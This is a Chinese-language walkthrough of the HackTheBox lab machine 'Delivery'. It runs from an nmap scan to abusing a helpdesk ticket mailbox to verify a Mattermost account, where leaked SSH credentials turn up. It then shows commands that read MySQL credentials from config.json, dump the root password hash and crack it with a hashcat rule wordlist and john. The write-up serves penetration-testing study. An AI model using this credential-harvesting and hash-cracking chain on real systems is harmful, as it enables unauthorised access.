基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV 10.10.10.222
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-11 13:35 CST
Nmap scan report for 10.10.10.222
Host is up (0.069s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA)
| 256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA)
|_ 256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.31 seconds

80

一个普通的web,页面信息能够得到子域名,contact里可以得到8065端口:

那就把已知信息加hosts:

1
10.10.10.222 helpdesk.delivery.htb delivery.htb

8065

一个什么系统,需要登录,可以注册:

随意注册提示需要验证,但自己的邮箱并没有收到,应该是需要某种方式获取它分配的邮箱:

helpdesk

转去helpdesk,就是常规的helpdesk系统:

new ticket

创建一个ticket,得到一个邮箱地址和ticket id:

check ticket status

Check status就是进入分配给我们的邮箱的收件箱:

8065 create account

然后去8065使用这个邮箱创建账号:

get verify email

之后去收件箱查看新邮件:

可以看到验证信息:

verify email

直接新开一个标签页复制粘贴访问验证链接,验证成功,登录:

internal

进入internal,跳过教程:

这里其实是后面的提示信息,上面那一行是一组用户名密码:

1
2
3
4
@developers Please update theme to the OSTicket before we go live.  Credentials to the server are maildeliverer:Youve_G0t_Mail! 
10:30 PM

Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of "PleaseSubscribe!"

user flag

然后直接ssh连接,得到user.txt:

1
maildeliverer:Youve_G0t_Mail!

提权信息

/opt/mattermost/config目录里是配置信息,里面有mysql连接信息:

1
mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s

mysql

mysql里查看数据,得到root密码hash:

1
2
3
4
5
6
7
8
9
mysql -u mmuser -p'Crack_The_MM_Admin_PW' mattermost

show databases;
use mattermost;
show tables;
select * from Users;

select Password from Users where Username = 'root';
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO

config.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
"SqlSettings": {
"DriverName": "mysql",
"DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
"DataSourceReplicas": [],
"DataSourceSearchReplicas": [],
"MaxIdleConns": 20,
"ConnMaxLifetimeMilliseconds": 3600000,
"MaxOpenConns": 300,
"Trace": false,
"AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
"QueryTimeout": 30,
"DisableDatabaseSearch": false
},
...

hash crack

这个hash直接常规方式跑不出来的,根据前面的提示信息,PleaseSubscribe! 不在rockyou里,需要根据提示生成新字典:

OneRuleToRuleThemAll

1
2
3
4
5
git clone https://github.com/stealthsploit/Optimised-hashcat-Rule.git
cd Optimised-hashcat-Rule/

# root权限
echo "PleaseSubscribe!" | hashcat -r OneRuleToRuleThemAll.rule --stdout > wordlist.txt

然后使用生成的新字典可以破解出来密码:

1
2
3
sudo john -w=./wordlist.txt hash.txt

PleaseSubscribe!21

root flag

然后直接使用得到的密码切换到root,读取root.txt:

参考资料